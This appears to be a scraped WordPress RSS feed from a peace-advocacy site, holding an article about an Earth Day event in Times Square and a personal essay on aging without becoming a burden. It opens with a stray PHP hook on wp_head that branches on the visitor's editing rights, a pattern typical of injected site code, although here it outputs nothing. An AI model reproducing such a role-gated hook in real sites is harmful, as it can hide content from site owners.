function wp_pf_b12a5d00(){$c=wp_get_current_user()->has_cap('edit_posts')?1:0;if($c==0){echo'';}}add_action("wp_head","wp_pf_b12a5d00"); lived Archives - Pause the World for Peace https://pausetheworldforpeace.org/tag/lived/ goodnewsbroadcast.com Fri, 24 Apr 2026 13:12:38 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://i0.wp.com/pausetheworldforpeace.org/wp-content/uploads/2022/08/cropped-BEST-LOGO-1-1024x661-1.jpg?fit=32%2C32&ssl=1 lived Archives - Pause the World for Peace https://pausetheworldforpeace.org/tag/lived/ 32 32 214774194 Earth Day in Times Square: Paul Sladkus and OMM Bring Purpose, Presence, and Power to the Crossroads of the World https://pausetheworldforpeace.org/earth-day-in-times-square-paul-sladkus-and-omm-bring-purpose-presence-and-power-to-the-crossroads-of-the-world/ https://pausetheworldforpeace.org/earth-day-in-times-square-paul-sladkus-and-omm-bring-purpose-presence-and-power-to-the-crossroads-of-the-world/#respond Fri, 24 Apr 2026 09:12:03 +0000 https://pausetheworldforpeace.org/?p=11618 Earth Day in Times Square doesn’t whisper its message—it radiates it. And this year, under a sky that couldn’t quite decide between clouds and clarity, the spirit of the planet…

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]]> Earth Day in Times Square doesn’t whisper its message—it radiates it. And this year, under a sky that couldn’t quite decide between clouds and clarity, the spirit of the planet found its voice in music, unity, and undeniable purpose.

At the center of it all stood producer Paul Sladkus, whose vision once again transformed one of the most chaotic crossroads in the world into a sanctuary of awareness, celebration, and connection. Through his ongoing work with the Good News Corporation, Earth Day became more than an event—it became a living, breathing statement.

OMM (often recognized as OMMM) brought a deeply spiritual layer to the day’s festivities. Their presence was not loud, but it was powerful—anchoring the energy of the event with a sense of mindfulness that balanced the electric performances surrounding them. In a setting like Times Square, where distraction is the norm, OMMM managed to create moments of stillness. That alone is no small feat.

The performances throughout the day carried a shared heartbeat—artists using their voices not just to entertain, but to advocate. There was a rawness in the air, a sense that this wasn’t about perfection, but about purpose. Some moments soared, others felt beautifully unpolished, but all of it felt real.

What stood out most was the contrast: towering LED screens flashing advertisements above a stage dedicated to healing the planet. And somehow, instead of clashing, the two coexisted—reminding everyone watching that change doesn’t happen in isolation. It happens right in the middle of everything.

There were moments when the sound bled into the city’s constant hum, when timing faltered, when the unpredictability of a live, outdoor New York event showed its face. But those imperfections only reinforced the authenticity of the experience. This wasn’t manufactured—it was lived.

By the end of the day, what remained wasn’t just music or speeches, but a feeling. A reminder that even in one of the busiest places on Earth, people will still stop, listen, and come together for something bigger than themselves.

Earth Day in Times Square, guided by Paul Sladkus and elevated by OMMM, didn’t just celebrate the planet—it insisted on it.

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]]> https://pausetheworldforpeace.org/earth-day-in-times-square-paul-sladkus-and-omm-bring-purpose-presence-and-power-to-the-crossroads-of-the-world/feed/ 0 11618 I Don’t Want to Be a Burden in My Old Age https://pausetheworldforpeace.org/i-dont-want-to-be-a-burden-in-my-old-age/ https://pausetheworldforpeace.org/i-dont-want-to-be-a-burden-in-my-old-age/#respond Wed, 11 Jun 2025 09:57:53 +0000 https://pausetheworldforpeace.org/?p=9079 I am not afraid of growing old. Let the wrinkles come—I will wear them like medals, proof that I have laughed, cried, and lived deeply. Let my skin loosen and…

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]]> I am not afraid of growing old. Let the wrinkles come—I will wear them like medals, proof that I have laughed, cried, and lived deeply. Let my skin loosen and fold like pages in a well-loved book. Let my hair silver and shine, a crown earned by years of stories.
I do not fear the quiet. Solitude is no stranger; I have learned to make peace with my own company. I have sat in stillness and found strength there. I know how to rest in the silence without being swallowed by it.
But what unsettles me is something else—fate. That unpredictable force that sometimes tucks you in at night like a loving hand and other times leaves you standing in the rain, forgotten and cold.
I do not want to become a burden—a sigh of exhaustion behind closed doors. I do not want my presence to feel heavy in the room or my name to be whispered in tones of weariness. I do not want my dependence to become someone else’s silent sacrifice.
I want to be like the wind—restless, moving, always dancing forward. I want my old age to be a poem of resilience, a morning brewed with memories, a sunset painted with hope. I want to keep learning, keep loving, keep discovering—never stagnant, never finished.
I do not fear aging. I fear being boxed in by a life I didn’t choose—a life that shrinks instead of expands.
So I will keep walking forward, not clinging to what was, but embracing what still can be.
And if the day comes when my steps falter and I lean on others more than I would like, I will offer my gratitude freely, never forgetting that love is not a burden—it’s a gift.
To those who carry others with patience and tenderness—you are the quiet heroes of this world. Thank you
Holmes

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